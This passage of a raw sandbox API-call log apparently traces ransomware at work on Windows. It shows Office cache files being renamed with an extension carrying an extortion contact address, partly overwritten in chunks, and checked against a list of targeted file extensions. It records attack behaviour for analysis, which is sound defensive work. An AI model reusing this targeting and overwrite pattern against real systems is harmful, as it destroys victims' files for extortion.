(lpString="AccessMUI.msi") returned 13 [0077.228] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0077.259] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2517504) returned 1 [0077.259] CloseHandle (hObject=0x210) returned 1 [0077.259] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0077.259] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.259] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0077.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0077.260] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0077.260] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0077.260] ReadFile (in: hFile=0x210, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.298] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0077.298] ReadFile (in: hFile=0x210, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.349] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.350] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0077.350] ReadFile (in: hFile=0x210, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.391] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.391] WriteFile (in: hFile=0x210, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0077.601] SetEndOfFile (hFile=0x210) returned 1 [0077.602] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f84fa8 [0077.921] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0077.921] WriteFile (in: hFile=0x210, lpBuffer=0x3f84fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f84fa8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.922] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0077.922] WriteFile (in: hFile=0x210, lpBuffer=0x3f84fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f84fa8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.929] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0077.929] WriteFile (in: hFile=0x210, lpBuffer=0x3f84fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f84fa8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.936] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f84fa8 | out: hHeap=0x4b0000) returned 1 [0077.936] CloseHandle (hObject=0x210) returned 1 [0077.936] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.936] lstrlenW (lpString=".doc") returned 4 [0077.936] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.936] lstrlenW (lpString=".docx") returned 5 [0077.936] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.936] lstrlenW (lpString=".pdf") returned 4 [0077.936] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.936] lstrlenW (lpString=".xls") returned 4 [0077.936] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.936] lstrlenW (lpString=".xlsx") returned 5 [0077.936] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.936] lstrlenW (lpString=".ppt") returned 4 [0077.936] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.936] lstrlenW (lpString=".zip") returned 4 [0077.937] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.937] lstrlenW (lpString=".rar") returned 4 [0077.937] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.937] lstrlenW (lpString=".bz2") returned 4 [0077.937] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.937] lstrlenW (lpString=".7z") returned 3 [0077.937] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.937] lstrlenW (lpString=".dbf") returned 4 [0077.937] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.937] lstrlenW (lpString=".1cd") returned 4 [0077.937] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.937] lstrlenW (lpString=".jpg") returned 4 [0077.937] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.937] lstrlenW (lpString=".doc") returned 4 [0077.937] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.937] lstrlenW (lpString=".docx") returned 5 [0077.937] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.937] lstrlenW (lpString=".pdf") returned 4 [0077.937] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.937] lstrlenW (lpString=".xls") returned 4 [0077.937] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.937] lstrlenW (lpString=".xlsx") returned 5 [0077.937] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.937] lstrlenW (lpString=".ppt") returned 4 [0077.937] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.938] lstrlenW (lpString=".zip") returned 4 [0077.938] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.938] lstrlenW (lpString=".rar") returned 4 [0077.938] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.938] lstrlenW (lpString=".bz2") returned 4 [0077.938] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.938] lstrlenW (lpString=".7z") returned 3 [0077.938] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.938] lstrlenW (lpString=".dbf") returned 4 [0077.938] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.938] lstrlenW (lpString=".1cd") returned 4 [0077.938] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.938] lstrlenW (lpString=".jpg") returned 4 [0077.938] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.938] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0077.938] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0077.938] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0077.939] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=36233052) returned 1 [0077.939] CloseHandle (hObject=0x210) returned 1 [0077.939] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0077.939] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.939] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0077.939] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0077.939] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0077.940] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0077.940] ReadFile (in: hFile=0x210, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.961] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0077.961] ReadFile (in: hFile=0x210, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.244] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0078.244] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0078.245] ReadFile (in: hFile=0x210, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.375] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0078.375] WriteFile (in: hFile=0x210, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0078.394] SetEndOfFile (hFile=0x210) returned 1 [0078.394] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0078.394] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0078.394] WriteFile (in: hFile=0x210, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.395] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0078.395] WriteFile (in: hFile=0x210, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.395] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0078.396] WriteFile (in: hFile=0x210, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.398] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0078.398] CloseHandle (hObject=0x210) returned 1 [0078.398] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0078.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.398] lstrlenW (lpString=".doc") returned 4 [0078.398] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0078.398] lstrlenW (lpString=".docx") returned 5 [0078.399] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0078.399] lstrlenW (lpString=".pdf") returned 4 [0078.399] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0078.399] lstrlenW (lpString=".xls") returned 4 [0078.399] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0078.399] lstrlenW (lpString=".xlsx") returned 5 [0078.399] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0078.399] lstrlenW (lpString=".ppt") returned 4 [0078.399] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0078.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.399] lstrlenW (lpString=".zip") returned 4 [0078.399] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0078.399] lstrlenW (lpString=".rar") returned 4 [0078.399] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0078.399] lstrlenW (lpString=".bz2") returned 4 [0078.399] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0078.399] lstrlenW (lpString=".7z") returned 3 [0078.399] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0078.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.399] lstrlenW (lpString=".dbf") returned 4 [0078.399] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0078.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.399] lstrlenW (lpString=".1cd") returned 4 [0078.399] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0078.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.399] lstrlenW (lpString=".jpg") returned 4 [0078.399] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0078.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.399] lstrlenW (lpString=".doc") returned 4 [0078.399] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0078.399] lstrlenW (lpString=".docx") returned 5 [0078.399] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0078.400] lstrlenW (lpString=".pdf") returned 4 [0078.400] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0078.400] lstrlenW (lpString=".xls") returned 4 [0078.400] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0078.400] lstrlenW (lpString=".xlsx") returned 5 [0078.400] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0078.400] lstrlenW (lpString=".ppt") returned 4 [0078.400] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0078.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.400] lstrlenW (lpString=".zip") returned 4 [0078.400] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0078.400] lstrlenW (lpString=".rar") returned 4 [0078.400] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0078.400] lstrlenW (lpString=".bz2") returned 4 [0078.400] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0078.400] lstrlenW (lpString=".7z") returned 3 [0078.400] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0078.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.400] lstrlenW (lpString=".dbf") returned 4 [0078.400] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0078.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.400] lstrlenW (lpString=".1cd") returned 4 [0078.400] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0078.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0078.400] lstrlenW (lpString=".jpg") returned 4 [0078.400] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0078.400] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0078.400] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0078.400] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0078.463] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=222948913) returned 1 [0078.463] CloseHandle (hObject=0x204) returned 1 [0078.463] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0078.464] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.464] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0078.465] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0078.465] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0078.465] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0078.465] ReadFile (in: hFile=0x204, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.601] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0078.601] ReadFile (in: hFile=0x204, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.015] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.015] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0079.015] ReadFile (in: hFile=0x204, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.179] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0079.179] WriteFile (in: hFile=0x204, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0079.206] SetEndOfFile (hFile=0x204) returned 1 [0079.206] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0079.206] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0079.207] WriteFile (in: hFile=0x204, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: 